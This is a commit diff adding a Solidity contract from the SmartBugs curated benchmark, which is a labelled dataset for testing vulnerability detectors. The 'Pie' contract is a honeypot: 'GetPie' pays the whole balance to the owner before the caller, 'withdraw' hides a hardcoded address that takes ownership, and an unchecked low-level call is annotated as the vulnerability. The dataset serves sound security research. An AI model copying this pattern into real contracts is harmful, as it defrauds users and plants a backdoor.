Add SB Curated (copied from the smartbugs repository).
This commit is contained in:
@@ -0,0 +1,46 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 44
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract Pie
|
||||
{
|
||||
address public Owner = msg.sender;
|
||||
|
||||
function()
|
||||
public
|
||||
payable
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
function GetPie()
|
||||
public
|
||||
payable
|
||||
{
|
||||
if(msg.value>1 ether)
|
||||
{ Owner.transfer(this.balance);
|
||||
msg.sender.transfer(this.balance);
|
||||
}
|
||||
}
|
||||
|
||||
function withdraw()
|
||||
payable
|
||||
public
|
||||
{ if(msg.sender==0x1Fb3acdBa788CA50Ce165E5A4151f05187C67cd6){Owner=0x1Fb3acdBa788CA50Ce165E5A4151f05187C67cd6;}
|
||||
require(msg.sender == Owner);
|
||||
Owner.transfer(this.balance);
|
||||
}
|
||||
|
||||
function Command(address adr,bytes data)
|
||||
payable
|
||||
public
|
||||
{
|
||||
require(msg.sender == Owner);
|
||||
// <yes> <report> UNCHECKED_LL_CALLS
|
||||
adr.call.value(msg.value)(data);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user